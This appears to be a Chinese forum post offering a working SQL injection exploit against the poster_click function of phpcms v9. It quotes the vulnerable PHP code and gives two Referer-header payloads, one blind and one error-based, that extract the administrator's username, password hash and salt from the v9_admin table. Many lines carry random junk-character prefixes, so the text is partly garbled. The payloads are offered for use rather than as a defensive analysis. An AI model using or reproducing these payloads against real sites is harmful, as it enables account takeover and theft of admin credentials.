phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
$ u' B, K. `4 o- C4 I: x. c$ r
问题函数\phpcms\modules\poster\index.php
3 z8 V6 L. }0 o' M+ c! S, v" o
public function poster_click() {
. `8 F# ]* Y9 o( p) l, k; S) m$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
1 b+ p& ]  x' W% d) `* B4 w$r = $this->db->get_one(array('id'=>$id));
. n( o9 [8 I5 V5 f- i/ N! W" _if (!is_array($r) && empty($r)) return false;
8 G% Z3 a: B6 A$ip_area = pc_base::load_sys_class('ip_area');
: _) N# H# n6 O* v& R& T$ip = ip();
$ ~( t4 ]4 u, n  U$area = $ip_area->get($ip);
9 A1 ~: O! a$ q7 V0 w; Y: q* ^9 ^$username = param::get_cookie('username') ? param::get_cookie('username') : '';
, w) F( I6 t. ~2 K5 Q# b* T' m4 }if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
" g& z, U6 H2 r/ U/ v}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
9 f7 Y+ z5 n$ z3 _3 Z/ k7 t" P! M7 O$url = $setting['1']['linkurl'];
} else {
" e3 G% I" t! f& N$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
, I0 a* t' w2 u- C1 d}
header('Location: '.$url);
}
/ z+ D4 l! N+ ]- D
3 X1 Y0 h3 m" `0 e5 }

利用方式：
* G# n+ o2 P5 e% ~
3 G$ Y0 y( j/ }; W( r1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

' x: V7 a; ^  \' L. x通过返回页面，正常与否一个个猜解密码字段。
2 x  j9 ], n0 R
$ f$ W3 x9 `( Z, o  r% Z* L2、代码是花开写的，随手附上了：
' g2 B8 ~7 r% q" h/ L6 U
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
. ~2 o0 Z9 v2 v
" g$ W% K$ G5 O$ s, f+ d! n此方法是爆错注入手法，原理自查。
